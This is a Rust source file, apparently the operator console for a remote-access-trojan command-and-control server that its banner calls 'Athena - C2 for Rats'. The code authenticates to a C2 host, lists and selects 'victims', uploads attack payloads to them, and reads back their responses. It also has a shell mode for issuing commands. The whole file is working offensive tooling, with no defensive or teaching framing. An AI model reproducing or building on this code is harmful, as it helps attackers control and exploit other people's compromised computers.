1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
use std::io::{stdin, BufWriter, Write};
use std::mem;
use libathena::{
payload::attack::{self, PayloadID},
AthenaClient, AthenaClientBuilder, AthenaResult, Client,
};
pub mod commands;
pub mod errors;
pub mod handlers;
pub mod options;
const DEFAULT_PROMPT: &str = "(athena)";
const SHELL_PROMPT: &str = "(shell)";
const TARGET_ALL: &str = "(all)";
pub const VERSION: &str = env!("CARGO_PKG_VERSION");
use commands::Commands;
use errors::*;
#[derive(Debug, PartialEq, Clone)]
pub enum Mode {
Default,
TargetAll,
Shell,
Exit,
}
impl Mode {
pub fn print_and_read<W: Write>(
&self,
s: &mut State<W>,
i: &mut String,
) -> CliResult<Commands> {
match self {
Self::Default => {
s.default_prompt()?;
Self::read_input(i)?;
}
Self::Shell => {
s.shell_prompt()?;
Self::read_input(i)?;
}
Self::TargetAll => {
s.targetall_prompt()?;
Self::read_input(i)?;
}
Self::Exit => (),
}
let cmd = Commands::parse_and_set_mode(s, i)?;
Ok(cmd)
}
fn read_input(input: &mut String) -> CliResult<()> {
input.clear();
stdin().read_line(input)?;
Ok(())
}
}
pub struct State<W: Write> {
pub write: BufWriter<W>,
pub mode: Mode,
pub client: AthenaClient,
pub available_victims: Vec<attack::Victim>,
pub selected_victims: Vec<attack::Victim>,
pub editor: Option<String>,
pub payload_ids: Vec<(PayloadID, String)>,
}
impl<W: Write> State<W> {
pub async fn new(write: W, options: &options::Options) -> AthenaResult<Self> {
let write = BufWriter::new(write);
let mode = Mode::Default;
let client = AthenaClientBuilder::default()
.client(Client::builder())?
.password(options.password.clone())
.host(options.c2.clone())
.build()?;
let available_victims = client.attack_list_victims().await?;
let selected_victims = client.attack_list_victims().await?;
let payload_ids = Vec::new();
Ok(Self {
write,
mode,
client,
available_victims,
selected_victims,
editor: options.editor.clone(),
payload_ids,
})
}
pub async fn refresh_victims(&mut self) -> AthenaResult<()> {
self.available_victims = self.client.attack_list_victims().await?;
Ok(())
}
pub fn welcome(&mut self) -> CliResult<()> {
writeln!(
self.write,
r#"Athena {} - C2 for Rats
Aravinth Mavnivannan<realaravinth@batsense.net>
Be nice."#,
VERSION,
)?;
Ok(())
}
pub fn default_prompt(&mut self) -> CliResult<()> {
write!(self.write, "{} => ", DEFAULT_PROMPT)?;
self.write.flush()?;
Ok(())
}
pub fn shell_prompt(&mut self) -> CliResult<()> {
write!(self.write, "{}{}", DEFAULT_PROMPT, SHELL_PROMPT)?;
self.write.flush()?;
Ok(())
}
pub fn targetall_prompt(&mut self) -> CliResult<()> {
write!(self.write, "{}{}", DEFAULT_PROMPT, TARGET_ALL)?;
self.write.flush()?;
Ok(())
}
pub fn list_victims(&mut self) -> CliResult<()> {
if self.available_victims.is_empty() {
writeln!(self.write, "No victims on C2 server")?;
} else {
writeln!(self.write, "Victims")?;
writeln!(self.write, "=======")?;
for (count, victim) in self.available_victims.iter().enumerate() {
writeln!(self.write, "[{}] {}", count, victim.name)?;
}
}
self.write.flush()?;
Ok(())
}
pub fn select_victim(&mut self, input: &mut String) -> CliResult<()> {
writeln!(self.write, "Pick a victim or choose all")?;
self.mode.clone().print_and_read(self, input)?;
let victims = vec![self
.available_victims
.get(input.trim().parse::<usize>().unwrap())
.unwrap()
.to_owned()];
self.selected_victims = victims;
Ok(())
}
pub async fn upload_payload(&mut self, payload: &mut attack::Payload) -> CliResult<()> {
for victim in self.selected_victims.iter() {
payload.victim = victim.name.to_owned();
let id = self.client.attack_set_payload(&payload).await?;
let name = mem::take(&mut payload.victim);
self.payload_ids.push((id, name));
}
Ok(())
}
pub async fn read_responses(&mut self) -> CliResult<()> {
for (id, name) in self.payload_ids.iter() {
let resp = self.client.attack_read_response(&id).await?;
if let Some(response) = resp.response {
write!(self.write, "({}) => {}", &name, &response)?;
}
}
self.write.flush()?;
Ok(())
}
}